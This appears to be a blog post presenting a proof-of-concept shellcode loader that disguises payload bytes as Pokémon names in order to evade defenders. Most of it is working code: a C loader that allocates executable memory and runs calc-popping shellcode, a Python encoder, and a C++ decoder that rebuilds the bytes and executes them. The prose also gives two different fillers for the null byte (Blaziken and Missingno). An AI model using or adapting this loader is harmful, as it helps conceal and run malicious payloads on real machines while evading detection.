Tired of looking at hex all day and popping '\x41's? Rather look at Lugia/Charmander? I have the solution for you. A tweet came in from @Checkymander about creating a shellcode loader from Pokémon names. Great fun project to mess with the blue team, but there wasn't a POC! (or at least when I last checked)
There are multiple ways to do this: If we look at a shellcode, it's a series of hexes from 0x00-0xFF, or in decimal form of 0-256. There happens to be way more than 256 Pokemon that we can choose from.
From looking at the Pokemon chart above, we can translate BULBASAUR, who is #001, to 0x01 (dropping the first zero). Likewise, CHARMANDER will be represented by 0x04 and so on. The Lucky null byte 0x00 can be aligned to Pokemon #257, BLAZIKEN!
Converting shellcode to Pokemon-Shellcode is simple. How about converting Pokemon-Shellcode to Assembly?! Do we want to have an Array within the .ASM? C code? Pull it down externally?
We need data. First, I found two areas that contain both the number of the Pokemon and their name:
And another one that only has the name of the Pokemon. This might be more useful because we can get the array index position for a particular pokemon without carrying over a long string.
I am taking a regular POP CALC shellcode and throwing some C's at it.
#include <windows.h> void main() { void* exec; BOOL rv; HANDLE th; DWORD oldprotect = 0; // Shellcode unsigned char payload[] = "\x50\x53\x51\x52\x56\x57\x55\x89" "\xe5\x83\xec\x18\x31\xf6\x56\x6a" "\x63\x66\x68\x78\x65\x68\x57\x69" "\x6e\x45\x89\x65\xfc\x31\xf6\x64" "\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b" "\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10" "\x89\x5d\xf8\x31\xc0\x8b\x43\x3c" "\x01\xd8\x8b\x40\x78\x01\xd8\x8b" "\x48\x24\x01\xd9\x89\x4d\xf4\x8b" "\x78\x20\x01\xdf\x89\x7d\xf0\x8b" "\x50\x1c\x01\xda\x89\x55\xec\x8b" "\x58\x14\x31\xc0\x8b\x55\xf8\x8b" "\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc" "\x8b\x3c\x87\x01\xd7\x66\x83\xc1" "\x08\xf3\xa6\x74\x0a\x40\x39\xd8" "\x72\xe5\x83\xc4\x26\xeb\x41\x8b" "\x4d\xf4\x89\xd3\x8b\x55\xec\x66" "\x8b\x04\x41\x8b\x04\x82\x01\xd8" "\x31\xd2\x52\x68\x2e\x65\x78\x65" "\x68\x63\x61\x6c\x63\x68\x6d\x33" "\x32\x5c\x68\x79\x73\x74\x65\x68" "\x77\x73\x5c\x53\x68\x69\x6e\x64" "\x6f\x68\x43\x3a\x5c\x57\x89\xe6" "\x6a\x0a\x56\xff\xd0\x83\xc4\x46" "\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3"; unsigned int payload_len = 205; exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); RtlMoveMemory(exec, payload, payload_len); rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect); th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0); WaitForSingleObject(th, -1); }
Not bad. It's not doing anything malicious, but still... not bad.
A simple script converts a shellcode byte Object into the Pokémon Shellcode.
import json shellcode = (b"\x41\x42\x20\x43") #Do not edit below PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"] Poke_Shellcode = [] for x in shellcode: Poke_Shellcode.append(PokemonList[x]) print(json.dumps(Poke_Shellcode))
Fun Fact: I wanted to keep the Pokemon name aligned with their number (BULBASAUR = #1, or 0x01), thus needed to fill 0x00/null byte with something. What's better fitting than MISSINGNO?!
Another issue is that the Pokemon Farfetch'd have an apostrophe, as shown below. The easy fix is just to remove it and call it: Farfetchd
Finally, there are also two Pokémon that share the same name once you remove the symbols, the fix for those two was to append an F (for female), and for the other append an M (for male).
#include <iostream> #include <string> #include <Bits.h> using namespace std; // Created by: Techryptic // @Tech string indexNumberToHexa(int number); void reverse_String(string& str, int last_index, int starting_index); void printAscii(unsigned char* index_to_hexa_array, int counter_s); int main() { string poke_shellcode[] = { "Slowbro", "Farfetchd", "Magnemite", "Magneton", "Seel", "Dewgong", "Dodrio", "Porygon", "Houndoom", "Lapras", "Tyrogue", "Arbok", "Venomoth", "Larvitar", "Seel", "Hitmonlee", "Kingler", "Exeggcute", "Cubone", "Staryu", "Electrode", "Cubone", "Dewgong", "Marowak", "Weezing", "Bellsprout", "Porygon", "Electrode", "Treecko", "Venomoth", "Larvitar", "Voltorb", "Omastar", "Gengar", "Venonat", "Omastar", "Cloyster", "Butterfree", "Omastar", "Cloyster", "Raticate", "Omastar", "Sandshrew", "Omastar", "Sandshrew", "Omastar", "Cloyster", "Pidgey", "Porygon", "Haunter", "Tyranitar", "Venomoth", "Sunflora", "Omastar", "Machoke", "Poliwag", "Bulbasaur", "Teddiursa", "Omastar", "Kadabra", "Staryu", "Bulbasaur", "Teddiursa", "Omastar", "Tentacool", "Clefable", "Bulbasaur", "Ursaring", "Porygon", "Ponyta", "Entei", "Omastar", "Staryu", "NidoranM", "Bulbasaur", "Remoraid", "Porygon", "Electabuzz", "Magby", "Omastar", "Slowbro", "Sandslash", "Bulbasaur", "Slugma", "Porygon", "Dodrio", "Tyrogue", "Omastar", "Grimer", "Raticate", "Venomoth", "Sunflora", "Omastar", "Dodrio", "Tyranitar", "Omastar", "Electabuzz", "Magby", "Omastar", "Seadra", "Treecko", "Venomoth", "Unown", "Treecko", "Omastar", "Poliwag", "Jolteon", "Bulbasaur", "Sneasel", "Exeggcute", "Lapras", "Yanma", "Wartortle", "Raikou", "Ledian", "Horsea", "Caterpie", "Kadabra", "Primeape", "Teddiursa", "Tangela", "Houndoom", "Lapras", "Espeon", "Ninetales", "Smeargle", "Alakazam", "Omastar", "Ponyta", "Entei", "Porygon", "Qwilfish", "Omastar", "Dodrio", "Tyrogue", "Exeggcute", "Omastar", "Charmander", "Alakazam", "Omastar", "Charmander", "Gyarados", "Bulbasaur", "Teddiursa", "Venomoth", "Granbull", "Magneton", "Cubone", "Paras", "Electrode", "Staryu", "Electrode", "Cubone", "Kingler", "Hypno", "Lickitung", "Kingler", "Cubone", "Koffing", "Dugtrio", "Diglett", "Gastly", "Cubone", "Starmie", "Kangaskhan", "Horsea", "Electrode", "Cubone", "Seaking", "Kangaskhan", "Gastly", "Farfetchd", "Cubone", "Marowak", "Weezing", "Voltorb", "Rhyhorn", "Cubone", "Machoke", "Growlithe", "Gastly", "Dewgong", "Porygon", "Kingdra", "Hitmonlee", "Caterpie", "Seel", "Torchic", "Steelix", "Lapras", "Espeon", "Weepinbell", "Haunter", "Onix", "Gengar", "Shellder", "Muk", "Cloyster", "Grimer", "Quagsire" }; /// Do not edit below string pokemon[256] = { "Missingno", "Bulbasaur", "Ivysaur", "Venusaur", "Charmander", "Charmeleon", "Charizard", "Squirtle", "Wartortle", "Blastoise", "Caterpie", "Metapod", "Butterfree", "Weedle", "Kakuna", "Beedrill", "Pidgey", "Pidgeotto", "Pidgeot", "Rattata", "Raticate", "Spearow", "Fearow", "Ekans", "Arbok", "Pikachu", "Raichu", "Sandshrew", "Sandslash", "NidoranF", "Nidorina", "Nidoqueen", "NidoranM", "Nidorino", "Nidoking", "Clefairy", "Clefable", "Vulpix", "Ninetales", "Jigglypuff", "Wigglytuff", "Zubat", "Golbat", "Oddish", "Gloom", "Vileplume", "Paras", "Parasect", "Venonat", "Venomoth", "Diglett", "Dugtrio", "Meowth", "Persian", "Psyduck", "Golduck", "Mankey", "Primeape", "Growlithe", "Arcanine", "Poliwag", "Poliwhirl", "Poliwrath", "Abra", "Kadabra", "Alakazam", "Machop", "Machoke", "Machamp", "Bellsprout", "Weepinbell", "Victreebel", "Tentacool", "Tentacruel", "Geodude", "Graveler", "Golem", "Ponyta", "Rapidash", "Slowpoke", "Slowbro", "Magnemite", "Magneton", "Farfetchd", "Doduo", "Dodrio", "Seel", "Dewgong", "Grimer", "Muk", "Shellder", "Cloyster", "Gastly", "Haunter", "Gengar", "Onix", "Drowzee", "Hypno", "Krabby", "Kingler", "Voltorb", "Electrode", "Exeggcute", "Exeggutor", "Cubone", "Marowak", "Hitmonlee", "Hitmonchan", "Lickitung", "Koffing", "Weezing", "Rhyhorn", "Rhydon", "Chansey", "Tangela", "Kangaskhan", "Horsea", "Seadra", "Goldeen", "Seaking", "Staryu", "Starmie", "Mr. Mime", "Scyther", "Jynx", "Electabuzz", "Magmar", "Pinsir", "Tauros", "Magikarp", "Gyarados", "Lapras", "Ditto", "Eevee", "Vaporeon", "Jolteon", "Flareon", "Porygon", "Omanyte", "Omastar", "Kabuto", "Kabutops", "Aerodactyl", "Snorlax", "Articuno", "Zapdos", "Moltres", "Dratini", "Dragonair", "Dragonite", "Mewtwo", "Mew", "Chikorita", "Bayleef", "Meganium", "Cyndaquil", "Quilava", "Typhlosion", "Totodile", "Croconaw", "Feraligatr", "Sentret", "Furret", "Hoothoot", "Noctowl", "Ledyba", "Ledian", "Spinarak", "Ariados", "Crobat", "Chinchou", "Lanturn", "Pichu", "Cleffa", "Igglybuff", "Togepi", "Togetic", "Natu", "Xatu", "Mareep", "Flaaffy", "Ampharos", "Bellossom", "Marill", "Azumarill", "Sudowoodo", "Politoed", "Hoppip", "Skiploom", "Jumpluff", "Aipom", "Sunkern", "Sunflora", "Yanma", "Wooper", "Quagsire", "Espeon", "Umbreon", "Murkrow", "Slowking", "Misdreavus", "Unown", "Wobbuffet", "Girafarig", "Pineco", "Forretress", "Dunsparce", "Gligar", "Steelix", "Snubbull", "Granbull", "Qwilfish", "Scizor", "Shuckle", "Heracross", "Sneasel", "Teddiursa", "Ursaring", "Slugma", "Magcargo", "Swinub", "Piloswine", "Corsola", "Remoraid", "Octillery", "Delibird", "Mantine", "Skarmory", "Houndour", "Houndoom", "Kingdra", "Phanpy", "Donphan", "Porygon2", "Stantler", "Smeargle", "Tyrogue", "Hitmontop", "Smoochum", "Elekid", "Magby", "Miltank", "Blissey", "Raikou", "Entei", "Suicune", "Larvitar", "Pupitar", "Tyranitar", "Lugia", "Ho-Oh", "Celebi", "Treecko", "Grovyle", "Sceptile", "Torchic" }; int size1 = sizeof(pokemon) / sizeof(pokemon[0]); int size2 = sizeof(poke_shellcode) / sizeof(poke_shellcode[0]); //creating a dynamic array for holding indexes having size=siez of poke_shellcode considering the //assumtion that all poke_shellcode elements exist in pokemon int* index = new int[size2]; int index_counter = 0; for (int i = 0; i < size2; i++) { //reading poke_shellcode element one by one for (int j = 0; j < size1; j++) { //reading pokemon element one by one if (poke_shellcode[i].compare(pokemon[j]) == 0) { //both strings are equal index[index_counter] = j; //saving index index_counter++; break; //stoping inner loop } } } //for storing hex values of indexes unsigned char* index_to_hexa_array = new unsigned char[index_counter * 5]; int counter_s = 0; for (int i = 0; i < index_counter; i++) { string value = ""; value += "\\x"; if (index[i] < 10) { value += "0"; } value += indexNumberToHexa(index[i]); //converting each index to hexa and inserting in array for (int k = 0; k < (int)value.length(); k++) { index_to_hexa_array[counter_s] = value[k]; counter_s++; } } std::string payload; index_to_hexa_array[counter_s] = '\0'; printAscii(index_to_hexa_array, counter_s); delete[]index; //freeing memory delete[]index_to_hexa_array; index = nullptr; //reseting the index pointer index_to_hexa_array = nullptr; return 0; } void reverse_String(string& str, int last_index, int starting_index) { if (last_index <= starting_index) { return; } swap(str[starting_index], str[last_index]); reverse_String(str, last_index - 1, starting_index + 1); } string indexNumberToHexa(int number) { string hexavalue = ""; while (number != 0) { int remainder = number % 16; if (remainder < 10) { //number 0-9 hexavalue += remainder + 48; } else {//alphabet A-F hexavalue += remainder + 55; //converting number to alphabet } number = number / 16; } reverse_String(hexavalue, hexavalue.length() - 1, 0); return (hexavalue != "" ? hexavalue : "0"); } void printAscii(unsigned char* index_to_hexa_array, int counter_s) { string sc; for (int i = 2; i < counter_s; i++) { if (index_to_hexa_array[i] != '\\' && index_to_hexa_array[i] != 'x') {//hex value cannot be more than 2 characters string vt; // hex ex: 01 vt.push_back(index_to_hexa_array[i]); vt.push_back(index_to_hexa_array[i + 1]); //cout << (char)stoul(vt, nullptr, 16); unsigned char n = (char)stoul(vt, nullptr, 16); sc += n; i++; } } sc += '\0'; // adding nullbyte to string to mimic array //std::cout << "The size is " << sc.size() << " bytes.\n"; DWORD oldprotect = 0; void* exec = VirtualAlloc(0, sc.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, sc.c_str(), sc.size()); ((void(*)())exec)(); }
That, that's the conclusion. Same code but using pokemon yields a way better result than I thought it would.
In the end, it's still a battle between Red vs. Blue
文章来源: https://github.com/Techryptic/Pokemon-Shellcode-Loader
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